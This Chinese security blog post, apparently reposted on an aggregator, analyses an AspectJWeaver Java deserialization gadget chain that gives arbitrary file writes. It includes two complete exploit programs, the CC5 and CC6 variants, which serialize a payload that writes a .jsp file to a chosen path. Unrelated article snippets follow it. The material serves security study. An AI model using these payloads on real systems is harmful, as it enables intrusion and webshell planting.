【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入

目录

简介

原理分析

EXP

CC5改链

CC6改链


简介

pom依赖:

<dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.2</version>
</dependency>

AspectJWeaver 是 AspectJ 框架的一部分,是一个用于实现面向切面编程(AOP)的工具。AspectJWeaver 提供了在 Java 程序中使用 AspectJ 的功能,并通过字节码操纵技术来织入切面代码到应用程序的目标类中。

这篇文章不聊怎么任意利用文件写入进而来RCE,只学习一下如何利用AspectJWeaver通过反序列化来进行任意文件写入。

原理分析

这条链也很简单粗暴

我们主要来看关键类SimpleCache$StoreableCachingMap

从顾名思义的角度,推测"StoreableCachingMap" 可能是一个对对象进行存储和缓存的映射结构的名称。它可能实现了一种将对象存储在内部数据结构中,并使用某种策略(例如时间戳、最近最少使用等)进行缓存管理的方式。

注意到SimpleCache类的内部类StoreableCachingMap是一个继承HashMap的类。

private static class StoreableCachingMap extends HashMap {private String folder;private static final String CACHENAMEIDX = "cache.idx";private long lastStored = System.currentTimeMillis();private static int DEF_STORING_TIMER = 60000;private int storingTimer;private transient Trace trace;

其构造方法在创建对象时接收文件夹路径和存储计时器的值,并将它们保存到对象的状态中,同时调用了一个初始化方法来确保对象的正确设置。

private StoreableCachingMap(String folder, int storingTimer) {this.folder = folder;this.initTrace();this.storingTimer = storingTimer;}

 关注到这个类重写了HashMap#put

public Object put(Object key, Object value) {try {String path = null;byte[] valueBytes = (byte[])((byte[])value);if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {path = "IDEM";} else {path = this.writeToPath((String)key, valueBytes);}Object result = super.put(key, path);this.storeMap();return result;}

这段代码的功能是将键值对添加到映射中。根据 value 的不同情况,可能会将路径设置为 "IDEM" 或使用 writeToPath 方法将键和值写入到某个路径中。然后,将键和路径添加到映射中,并将映射数据存储到持久化存储中。最后,返回添加结果。 

那个条件判断就是检查 valueBytes 是否与 SimpleCache.SAME_BYTES 相等。如果相等,说明 value 是一个特定的字节数组(SimpleCache.SAME_BYTES),则将 path 设置为 "IDEM"。

SimpleCache.SAME_BYTES为下面的这个值

private static final byte[] SAME_BYTES = "IDEM".getBytes();

一通分析显然会进到else,跟进writeToPath

 private String writeToPath(String key, byte[] bytes) throws IOException {String fullPath = this.folder + File.separator + key;FileOutputStream fos = new FileOutputStream(fullPath);fos.write(bytes);fos.flush();fos.close();return fullPath;}

这段代码的功能是将字节数组写入到指定路径的文件中。它创建一个文件输出流对象,将字节数组写入到文件中,然后刷新输出流并关闭它。最后,返回写入的文件的完整路径。 

在return fullPath处设断,注意到写入以及取到的文件路径就是由this.folder,File.separator和key拼接而成的

到这一步我们可以总结一下,通过调用StoreableCachingMap#put就可写入任意文件

问题来到了,put该由谁触发呢?

其实要触发StoreableCachingMap#put,就是要触发HashMap#put

到了这一点,就不难联想到LazyMap.get()的经典逻辑:

根据给定的键 key 从映射中获取对应的值。如果映射中已经包含了该键,则直接返回对应的值;如果映射中不包含该键,则通过 factory 对象的 transform 方法生成对应的值,并将键值对添加到映射中,然后返回该值。

只要令传入的map为StoreableCachingMap即可触发StoreableCachingMap#put

而value的值也是我们通过ConstantTransformer可控的,如果key也可控,那么文件内容和路径都将由我们为所欲为

 public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}

在我们之前接触的链子里,有一个很经典的CC5/CC6的TiedMapEntry触发LazyMap.get(),也有CC1的AnnotationInvocationHandler动态代理触发LazyMap.get(),但遗憾的是CC1get传入的key是调用的method,我们不可控,所以不能用于改链。

 

EXP

CC5改链

package com.AspectJWeaver;import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class AspectJWeaver {public static void main(String[] args) throws Exception {// 反射获取构造函数Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);con.setAccessible(true);// 实例化对象HashMap map = (HashMap)con.newInstance("C:", 1);// 这里用到ConstantTransformer是为了构造value,即写入文件的值ConstantTransformer transform = new ConstantTransformer("Z3r4y".getBytes(StandardCharsets.UTF_8));// 返回一个LazyMap对象Map outmap = LazyMap.decorate(map,transform);// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法TiedMapEntry tiedmap = new TiedMapEntry(outmap,"Users\\21135\\Desktop\\RuoYi-v4.7.1\\AspectJWeaver\\1.jsp");// 这里是为了序列化时不触发LazyMap的get方法BadAttributeValueExpException poc = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,tiedmap);// 序列化ByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(out);oos.writeObject(poc);System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));// 反序列化ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}
}

CC6改链

package com.AspectJWeaver;import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class AspectJWeaver {public static void main(String[] args) throws Exception {// 反射获取构造函数Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);con.setAccessible(true);// 实例化对象HashMap map = (HashMap)con.newInstance("C:", 1);// 这里用到ConstantTransformer是为了构造value,即写入文件的值ConstantTransformer transform = new ConstantTransformer("Z3r4y".getBytes(StandardCharsets.UTF_8));// 返回一个LazyMap对象Map outmap = LazyMap.decorate(map,transform);// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法TiedMapEntry tiedmap = new TiedMapEntry(outmap,"Users\\21135\\Desktop\\RuoYi-v4.7.1\\AspectJWeaver\\1.jsp");// 这里是为了序列化时不触发LazyMap的get方法Map expMap = new HashMap();expMap.put(tiedmap, "xxx");// 序列化ByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(out);oos.writeObject(expMap);System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));// 反序列化ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}
}

成功写入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/527699.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python】Python注册微服务到nacos

Python注册微服务到Nacos 1.Nacos部署 github 的nacos项目的发布页&#xff08;Releases alibaba/nacos GitHub &#xff09;&#xff0c;选择所要下载的nacos版本&#xff0c;在nacos下方的assets中选择安装包进行下载。 解压nacos安装包到指定目录。 tar -zxvf nacos-ser…

不允许你不知道Python作用域

在Python中&#xff0c;变量的作用域限制非常重要。根据作用域分类&#xff0c;有局部、全局、函数和内建作用域。无作用域限制的变量可以在分支语句和循环中定义&#xff0c;并在外部直接访问。不同的作用域决定了变量的可访问范围&#xff0c;访问权限取决于变量的位置。 1.…

前端学习之列表标签

目录 有序列表 结果 无序标签 结果 数据标签 结果 有序列表 &#xff08;注&#xff1a;注释是解释&#xff09; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Document</title> </…

liteIDE 解决go root报错 go: cannot find GOROOT directory: c:\go

liteIDE环境配置 我使用的liteIDE为 x36 5.9.5版本 。在查看–>选项 中可以看到 LiteEnv&#xff0c;双击LiteEnv &#xff0c;在右侧选择对应系统的env文件&#xff0c;我的是win64系统&#xff0c;所以文件名为win64.env 再双击 win64.env &#xff0c;关闭当前窗口&…

【嵌入式实践】【芝麻】【硬件篇-1】从0到1给电动车添加指纹锁:电源电路调研及原理讲解

0. 前言 该项目是基于stm32F103和指纹模块做了一个通过指纹锁控制电动车的小工具。支持添加指纹、删除指纹&#xff0c;电动车进入P档等待时计时&#xff0c;计时超过5min则自动锁车&#xff0c;计时过程中按刹车可中断P档状态&#xff0c;同时中断锁车计时。改项目我称之为“芝…

美团发布VisionLLaMA,为视觉生成和理解提供新基线

在人工智能领域&#xff0c;统一的模型架构对于简化模型设计、提高模型效率以及促进跨领域应用具有重要意义。近年来&#xff0c;大语言模型&#xff08;Large Language Models, LLMs&#xff09;在处理文本输入方面取得了显著的进展&#xff0c;其中基于变换器&#xff08;Tra…

python+realsense

单目相机(RGB影像):分辨率&#xff1a;320180,320240,424240,640360,640480,848480,960540,1280720,19201080&#xff1b;帧率&#xff1a;6,15,30,60 按照博文Python实战之Realsense_realsense python-CSDN博客的代码显示如下&#xff08;我更改了分辨率和帧率&#xff0c;大…

Mysql命令行客户端

命令行客户端 操作数据库操作数据表 操作数据库 mysql> create database mike charsetutf8; Query OK, 1 row affected (0.01 sec) mysql> show databases; -------------------- | Database | -------------------- | information_schema | | mike …

【期刊】ACM Transactions on Privacy and Security

首页截图 subject areas 混合模式 根据官网介绍&#xff0c;本期刊不在金OA行列&#xff0c;可以自主选择出版模式。 出版方向 Topics of interest include 发文量 季刊&#xff0c;发文量很小 图像安全领域 未在今年发表图像安全领域论文。

harmonyos arkts 开发商品页面

1.结果展示 2. 实现分层组件 1.1 实现搜索栏 1.2 代码 这段代码是一个构建搜索框组件的方法&#xff0c;具体功能包括&#xff1a; - 创建一个Search组件&#xff0c;设置初始值为this.keyword&#xff0c;placeholder为请输入书名... - 添加一个搜索按钮&#xff0c;并设置…

Go语言必知必会100问题-20 切片操作实战

前言 有很多gopher将切片的length和capacity混淆&#xff0c;没有彻底理清这两者的区别和联系。理清楚切片的长度和容量这两者的关系&#xff0c;有助于我们合理的对切片进行初始化、通过append追加元素以及进行复制等操作。如果没有深入理解它们&#xff0c;缺少高效操作切片…

Linux安装MeterSphere并结合内网穿透实现公网远程访问本地服务

文章目录 前言1. 安装MeterSphere2. 本地访问MeterSphere3. 安装 cpolar内网穿透软件4. 配置MeterSphere公网访问地址5. 公网远程访问MeterSphere6. 固定MeterSphere公网地址 前言 MeterSphere 是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、UI 测试和性能测试等功能&am…